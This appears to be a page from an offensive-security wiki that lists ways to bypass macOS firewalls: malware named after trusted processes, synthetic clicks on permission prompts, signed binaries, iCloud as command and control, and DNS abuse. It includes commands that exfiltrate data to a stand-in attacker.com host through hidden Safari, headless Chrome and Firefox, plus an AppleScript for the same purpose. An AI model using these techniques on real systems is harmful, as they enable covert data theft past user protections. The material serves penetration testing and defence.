# macOS Bypassing Firewalls

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## Found techniques

The following techniques were found working in some macOS firewall apps.

### Abusing whitelist names

* For example calling the malware with names of well known macOS processes like **`launchd`**

### Synthetic Click

* If the firewall ask for permission to the user make the malware **click on allow**

### **Use Apple signed binaries**

* Like **`curl`**, but also others like **`whois`**

### Well known apple domains

The firewall could be allowing connections to well known apple domains such as **`apple.com`** or **`icloud.com`**. And iCloud could be used as a C2.

### Generic Bypass

Some ideas to try to bypass firewalls

### Check allowed traffic

Knowing the allowed traffic will help you identify potentially whitelisted domains or which applications are allowed to access them

```bash
lsof -i TCP -sTCP:ESTABLISHED
```

### Abusing DNS

DNS resolutions are done via **`mdnsreponder`** signed application which will probably vi allowed to contact DNS servers.

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### Via Browser apps

* **oascript**

```applescript
tell application "Safari"
    run
    tell application "Finder" to set visible of process "Safari" to false
    make new document
    set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
```

* Google Chrome

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```bash
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
```

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* Firefox

```bash
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
```

* Safari

```bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
```

### Via processes injections

If you can **inject code into a process** that is allowed to connect to any server you could bypass the firewall protections:

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[macOS Process Abuse](/hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse.md)
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## References

* <https://www.youtube.com/watch?v=UlT5KFTMn2k>

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